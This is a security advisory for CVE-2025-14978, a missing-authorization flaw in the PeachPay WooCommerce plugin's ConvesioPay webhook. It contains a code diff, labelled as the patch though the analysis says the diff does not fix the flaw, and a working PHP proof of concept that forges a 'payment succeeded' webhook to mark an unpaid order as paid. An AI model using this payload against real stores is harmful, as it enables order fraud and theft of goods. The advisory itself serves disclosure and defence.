Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14978: PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net) <= 1.119.8 – Missing Authorization to Unauthenticated Order Status Modification (peachpay-for-woocommerce)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.119.8
Patched Version 1.119.9
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14978:
The PeachPay plugin for WordPress contains a missing authorization vulnerability in its ConvesioPay webhook REST endpoint. This flaw allows unauthenticated attackers to modify WooCommerce order statuses. The vulnerability affects all plugin versions up to and including 1.119.8, with a CVSS score of 5.3 (Medium severity).

Atomic Edge research identifies the root cause as a missing capability check in the ConvesioPay webhook handler. The vulnerable code resides in the class-peachpay-convesiopay-webhook.php file. The webhook endpoint processes payment notifications without verifying the request originates from ConvesioPay’s legitimate servers. The plugin fails to implement proper authentication mechanisms such as signature verification, API key validation, or IP whitelisting for webhook requests.

Attackers exploit this vulnerability by sending crafted HTTP POST requests to the ConvesioPay webhook endpoint. The attack vector requires knowledge of a target WooCommerce order ID. Attackers can send payment success or failure notifications to the /wp-json/peachpay/v1/convesiopay/webhook endpoint with malicious JSON payloads containing order modification parameters. The payload manipulates order status fields to mark arbitrary orders as completed, failed, or refunded.

The patch analysis reveals the vulnerability remains unaddressed in the provided code diff. The diff shows version 1.119.9 adds subscription support but does not implement webhook authentication. The changes in class-peachpay-convesiopay-webhook.php (lines 440-470 and 675-705) only add subscription token storage functionality. No security improvements appear in the webhook processing methods handle_payment_succeeded() or handle_payment_authorized(). The plugin continues to accept unverified webhook requests.

Successful exploitation allows attackers to manipulate WooCommerce order statuses without authentication. Attackers can mark unpaid orders as completed, triggering digital product delivery or service fulfillment. They can also mark legitimate orders as failed or refunded, disrupting business operations. This vulnerability enables financial fraud, inventory manipulation, and customer service disruption. The missing authorization violates WordPress security best practices for REST API endpoints.

Differential between vulnerable and patched code

Code Diff
--- a/peachpay-for-woocommerce/core/payments/convesiopay/gateways/class-peachpay-convesiopay-card-gateway.php
+++ b/peachpay-for-woocommerce/core/payments/convesiopay/gateways/class-peachpay-convesiopay-card-gateway.php
@@ -47,7 +47,20 @@
 		$this->method_title          = sprintf( __( '%s via ConvesioPay (PeachPay)', 'peachpay-for-woocommerce' ), 'Card' );
 		$this->method_description    = 'Accept card payments through ConvesioPay. Note: ConvesioPay only supports USD currency.';
 		$this->has_fields            = true;
-		$this->supports              = array( 'products', 'refunds', 'blocks' );
+		$this->supports              = array(
+			'products',
+			'refunds',
+			'blocks',
+			'tokenization',
+			'subscriptions',
+			'multiple_subscriptions',
+			'subscription_cancellation',
+			'subscription_suspension',
+			'subscription_reactivation',
+			'subscription_amount_changes',
+			'subscription_date_changes',
+			'subscription_payment_method_change_customer',
+		);

 		// Set up basic icon (no function dependencies)
 		$this->icon = '';
@@ -68,6 +81,26 @@
 		add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );
 		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

+		// Subscription renewal support
+		$gateway = $this;
+		add_action(
+			'woocommerce_scheduled_subscription_payment_' . $this->id,
+			function ( $renewal_total, $renewal_order ) use ( $gateway ) {
+				if ( ! function_exists( 'wcs_get_subscriptions_for_renewal_order' ) ) {
+					return;
+				}
+				$subscriptions = wcs_get_subscriptions_for_renewal_order( $renewal_order );
+				$subscription  = array_pop( $subscriptions );
+				if ( ! $subscription ) {
+					return;
+				}
+				$parent_order = wc_get_order( $subscription->get_parent_id() );
+				$gateway->process_subscription_renewal( $parent_order, $renewal_order, $renewal_total );
+			},
+			10,
+			2
+		);
+
 		// Initialize form fields
 		$this->init_form_fields();
 		// Mark as initialized
@@ -236,6 +269,7 @@
 	 * Get transaction ID from request - unified method for both classic and blocks checkout
 	 */
 	private function get_transaction_id_from_request() {
+		$transaction_id = '';

 		// Method 1: Classic checkout - check POST data
 		if ( isset( $_POST['peachpay_transaction_id'] ) && !empty( $_POST['peachpay_transaction_id'] ) ) {
@@ -614,7 +648,8 @@
 				'currency' => 'USD', // ConvesioPay only supports USD
 				'email' => $order->get_billing_email(),
 				'name' => $order->get_billing_first_name() . ' ' . $order->get_billing_last_name(),
-			);
+				'storePaymentMethod' => true, // Enable Card On File for subscription renewals
+		);

 			// Make API call to ConvesioPay
 			$api_url = $config['api_url'] . '/payments';
@@ -664,6 +699,37 @@

 				// Store ConvesioPay payment ID for later capture/cancel operations
 				$order->update_meta_data( '_convesiopay_payment_id', $transaction_id );
+
+				// Store customer ID and payment method for subscription renewals.
+				// NOTE: The storedPaymentMethodId is typically NOT returned in the initial /payments
+				// API response. It is provided in the Payment Webhook inside paymentMethodDetails.
+				// The webhook handler (class-peachpay-convesiopay-webhook.php) will populate these
+				// fields when processing the payment.succeeded webhook event. This code serves as
+				// a fallback in case the API response format changes in the future.
+				$convesiopay_customer_id = $response_data['customerId'] ?? '';
+				$convesiopay_stored_payment_method_id = $response_data['storedPaymentMethodId'] ?? '';
+
+				if ( ! empty( $convesiopay_customer_id ) ) {
+					$order->update_meta_data( '_convesiopay_customer_id', $convesiopay_customer_id );
+					// Also store on user meta for future orders
+					$user_id = $order->get_user_id();
+					if ( $user_id ) {
+						update_user_meta( $user_id, '_convesiopay_customer_id', $convesiopay_customer_id );
+					}
+				}
+
+				// Store the storedPaymentMethodId for subscription renewals (if present in response)
+				if ( ! empty( $convesiopay_stored_payment_method_id ) ) {
+					$order->update_meta_data( '_convesiopay_stored_payment_method_id', $convesiopay_stored_payment_method_id );
+					// Also store on user meta for subscription renewals
+					$user_id = $order->get_user_id();
+					if ( $user_id ) {
+						update_user_meta( $user_id, '_convesiopay_stored_payment_method_id', $convesiopay_stored_payment_method_id );
+						// Store payment method details for display
+						$payment_details = $response_data['paymentMethodDetails'] ?? array();
+						update_user_meta( $user_id, '_convesiopay_payment_method_details', $payment_details );
+					}
+				}

 				if ( $status === 'Succeeded' ) {
 					// Payment captured immediately
@@ -977,4 +1043,86 @@
 	private function is_blocks_supported() {
 		return class_exists( 'AutomatticWooCommerceBlocksPaymentsIntegrationsAbstractPaymentMethodType' );
 	}
+
+	/**
+	 * Process subscription renewal payment.
+	 * Called by WooCommerce Subscriptions when a renewal is due.
+	 *
+	 * @param WC_Order $parent_order The original subscription order.
+	 * @param WC_Order $renewal_order The renewal order to charge.
+	 * @param float    $renewal_total The amount to charge.
+	 */
+	public function process_subscription_renewal( $parent_order, $renewal_order, $renewal_total ) {
+		try {
+			// Get stored payment data from parent order
+			$customer_id              = $parent_order->get_meta( '_convesiopay_customer_id' );
+			$stored_payment_method_id = $parent_order->get_meta( '_convesiopay_stored_payment_method_id' );
+
+			if ( empty( $customer_id ) || empty( $stored_payment_method_id ) ) {
+				throw new Exception( __( 'Missing stored payment method for subscription renewal.', 'peachpay-for-woocommerce' ) );
+			}
+
+			$config = $this->get_convesiopay_config();
+			if ( empty( $config['secret_key'] ) ) {
+				throw new Exception( __( 'ConvesioPay is not properly configured.', 'peachpay-for-woocommerce' ) );
+			}
+
+			// Prepare renewal payment request using stored-card endpoint
+			$request_data = array(
+				'integration' => $config['integration_name'] ?? 'PeachPay',
+				'returnUrl'   => $this->get_return_url( $renewal_order ),
+				'orderNumber' => strval( $renewal_order->get_id() ),
+				'amount'      => (int) round( $renewal_total * 100 ),
+				'currency'    => $renewal_order->get_currency(),
+				'customer'    => array(
+					'id'                    => $customer_id,
+					'storedPaymentMethodId' => $stored_payment_method_id,
+				),
+			);
+
+			// Call ConvesioPay Card On File endpoint
+			$response = wp_remote_post( $config['api_url'] . '/payments/stored-card', array(
+				'headers' => array(
+					'Authorization' => $config['secret_key'],
+					'Content-Type'  => 'application/json',
+				),
+				'body'    => wp_json_encode( $request_data ),
+				'timeout' => 30,
+			) );
+
+			if ( is_wp_error( $response ) ) {
+				throw new Exception( 'Network error: ' . $response->get_error_message() );
+			}
+
+			$response_code = wp_remote_retrieve_response_code( $response );
+			$response_body = wp_remote_retrieve_body( $response );
+			$response_data = json_decode( $response_body, true );
+
+			$success_statuses = array( 'Succeeded', 'Pending', 'Authorized', 'Authorised' );
+			$status           = $response_data['status'] ?? '';
+			$payment_id       = $response_data['id'] ?? '';
+
+			if ( $response_code === 200 && in_array( $status, $success_statuses, true ) ) {
+				// Payment successful
+				$renewal_order->update_meta_data( '_convesiopay_payment_id', $payment_id );
+				$renewal_order->update_meta_data( '_convesiopay_customer_id', $customer_id );
+				$renewal_order->update_meta_data( '_convesiopay_stored_payment_method_id', $stored_payment_method_id );
+				$renewal_order->set_transaction_id( $payment_id );
+				$renewal_order->payment_complete( $payment_id );
+				$renewal_order->add_order_note( sprintf(
+					__( 'ConvesioPay subscription renewal successful. Payment ID: %s', 'peachpay-for-woocommerce' ),
+					$payment_id
+				) );
+			} else {
+				$error_message = $response_data['message'] ?? $response_data['body']['message'] ?? 'Unknown error';
+				throw new Exception( 'Renewal payment failed: ' . $error_message );
+			}
+		} catch ( Exception $e ) {
+			$renewal_order->update_status( 'failed', sprintf(
+				__( 'ConvesioPay renewal failed: %s', 'peachpay-for-woocommerce' ),
+				$e->getMessage()
+			) );
+		}
+	}
+
 }
 No newline at end of file
--- a/peachpay-for-woocommerce/core/payments/convesiopay/gateways/class-peachpay-convesiopay-unified-gateway.php
+++ b/peachpay-for-woocommerce/core/payments/convesiopay/gateways/class-peachpay-convesiopay-unified-gateway.php
@@ -49,7 +49,20 @@
 		$this->method_title          = sprintf( __( '%s (PeachPay)', 'peachpay-for-woocommerce' ), 'ConvesioPay' );
 		$this->method_description    = 'Accept all payment methods through ConvesioPay unified checkout. Note: ConvesioPay only supports USD currency';
 		$this->has_fields            = true;
-		$this->supports              = array( 'products', 'refunds', 'blocks' );
+		$this->supports              = array(
+			'products',
+			'refunds',
+			'blocks',
+			'tokenization',
+			'subscriptions',
+			'multiple_subscriptions',
+			'subscription_cancellation',
+			'subscription_suspension',
+			'subscription_reactivation',
+			'subscription_amount_changes',
+			'subscription_date_changes',
+			'subscription_payment_method_change_customer',
+		);

 		// Set up basic icon (no function dependencies)
 		$this->icon = '';
@@ -77,6 +90,30 @@

 		// Additional CSS hiding method
 		add_action( 'admin_head', array( $this, 'hide_gateway_with_css' ) );
+
+		// Subscription renewal support - route to Card Gateway
+		add_action(
+			'woocommerce_scheduled_subscription_payment_' . $this->id,
+			function ( $renewal_total, $renewal_order ) {
+				if ( ! function_exists( 'wcs_get_subscriptions_for_renewal_order' ) ) {
+					return;
+				}
+				$gateways = WC()->payment_gateways->payment_gateways();
+				if ( isset( $gateways['peachpay_convesiopay_card'] ) ) {
+					$subscriptions = wcs_get_subscriptions_for_renewal_order( $renewal_order );
+					$subscription  = array_pop( $subscriptions );
+					if ( ! $subscription ) {
+						return;
+					}
+					$parent_order = wc_get_order( $subscription->get_parent_id() );
+					$gateways['peachpay_convesiopay_card']->process_subscription_renewal( $parent_order, $renewal_order, $renewal_total );
+				} else {
+					$renewal_order->update_status( 'failed', __( 'ConvesioPay Card gateway not found.', 'peachpay-for-woocommerce' ) );
+				}
+			},
+			10,
+			2
+		);

 		// Enable gateway by default if not set and ConvesioPay is connected
 		if ( PeachPay_ConvesioPay_Integration::connected() ) {
--- a/peachpay-for-woocommerce/core/payments/convesiopay/routes/class-peachpay-convesiopay-webhook.php
+++ b/peachpay-for-woocommerce/core/payments/convesiopay/routes/class-peachpay-convesiopay-webhook.php
@@ -440,6 +440,32 @@
 			$order->update_meta_data( '_convesiopay_payment_method', $payment_method );
 		}

+		// Extract and store subscription-related tokens for Card On File renewals
+		// customerId is at root level, storedPaymentMethodId is inside paymentMethodDetails
+		$customer_id = $payment_data['customerId'] ?? '';
+		$payment_method_details = $payment_data['paymentMethodDetails'] ?? array();
+		$stored_payment_method_id = $payment_method_details['storedPaymentMethodId'] ?? '';
+
+		if ( ! empty( $customer_id ) ) {
+			$order->update_meta_data( '_convesiopay_customer_id', $customer_id );
+			// Also store on user meta for future subscription renewals
+			$user_id = $order->get_user_id();
+			if ( $user_id ) {
+				update_user_meta( $user_id, '_convesiopay_customer_id', $customer_id );
+			}
+		}
+
+		if ( ! empty( $stored_payment_method_id ) ) {
+			$order->update_meta_data( '_convesiopay_stored_payment_method_id', $stored_payment_method_id );
+			// Also store on user meta for subscription renewals
+			$user_id = $order->get_user_id();
+			if ( $user_id ) {
+				update_user_meta( $user_id, '_convesiopay_stored_payment_method_id', $stored_payment_method_id );
+				// Store payment method details for display (card brand, last4, etc.)
+				update_user_meta( $user_id, '_convesiopay_payment_method_details', $payment_method_details );
+			}
+		}
+
 		// Set payment method title based on actual payment method used
 		$payment_title = $this->get_payment_method_title( $payment_method );
 		$order->set_payment_method_title( $payment_title );
@@ -649,6 +675,32 @@
 			$order->update_meta_data( '_convesiopay_payment_method', $payment_method );
 		}

+		// Extract and store subscription-related tokens for Card On File renewals
+		// customerId is at root level, storedPaymentMethodId is inside paymentMethodDetails
+		$customer_id = $payment_data['customerId'] ?? '';
+		$payment_method_details = $payment_data['paymentMethodDetails'] ?? array();
+		$stored_payment_method_id = $payment_method_details['storedPaymentMethodId'] ?? '';
+
+		if ( ! empty( $customer_id ) ) {
+			$order->update_meta_data( '_convesiopay_customer_id', $customer_id );
+			// Also store on user meta for future subscription renewals
+			$user_id = $order->get_user_id();
+			if ( $user_id ) {
+				update_user_meta( $user_id, '_convesiopay_customer_id', $customer_id );
+			}
+		}
+
+		if ( ! empty( $stored_payment_method_id ) ) {
+			$order->update_meta_data( '_convesiopay_stored_payment_method_id', $stored_payment_method_id );
+			// Also store on user meta for subscription renewals
+			$user_id = $order->get_user_id();
+			if ( $user_id ) {
+				update_user_meta( $user_id, '_convesiopay_stored_payment_method_id', $stored_payment_method_id );
+				// Store payment method details for display (card brand, last4, etc.)
+				update_user_meta( $user_id, '_convesiopay_payment_method_details', $payment_method_details );
+			}
+		}
+
 		// Set payment method title based on actual payment method used (with Authorized suffix)
 		$payment_title = $this->get_payment_method_title( $payment_method, true );
 		$order->set_payment_method_title( $payment_title );
--- a/peachpay-for-woocommerce/peachpay.php
+++ b/peachpay-for-woocommerce/peachpay.php
@@ -3,7 +3,7 @@
  * Plugin Name: PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net)
  * Plugin URI: https://woocommerce.com/products/peachpay
  * Description: Connect and manage all your payment methods, offer shoppers a beautiful Express Checkout, and reduce cart abandonment.
- * Version: 1.119.8
+ * Version: 1.119.9
  * Text Domain: peachpay-for-woocommerce
  * Domain Path: /languages
  * Author: PeachPay, Inc.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14978 - PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net) <= 1.119.8 - Missing Authorization to Unauthenticated Order Status Modification

<?php
// Configuration
$target_url = 'https://example.com/wp-json/peachpay/v1/convesiopay/webhook';
$order_id = 123; // Target WooCommerce order ID to modify

// Craft malicious webhook payload simulating payment success
$payload = json_encode([
    'event' => 'payment.succeeded',
    'data' => [
        'id' => 'fake_payment_'.time(),
        'orderNumber' => (string)$order_id,
        'status' => 'Succeeded',
        'amount' => 1000, // Amount in cents
        'currency' => 'USD',
        'customerId' => 'fake_customer_'.time(),
        'paymentMethodDetails' => [
            'storedPaymentMethodId' => 'fake_method_'.time(),
            'brand' => 'Visa',
            'last4' => '4242'
        ]
    ]
]);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: '.strlen($payload)
]);

// Execute attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Display results
if ($http_code === 200) {
    echo "[SUCCESS] Order $order_id status modifiedn";
    echo "Response: $responsen";
} else {
    echo "[FAILED] HTTP $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School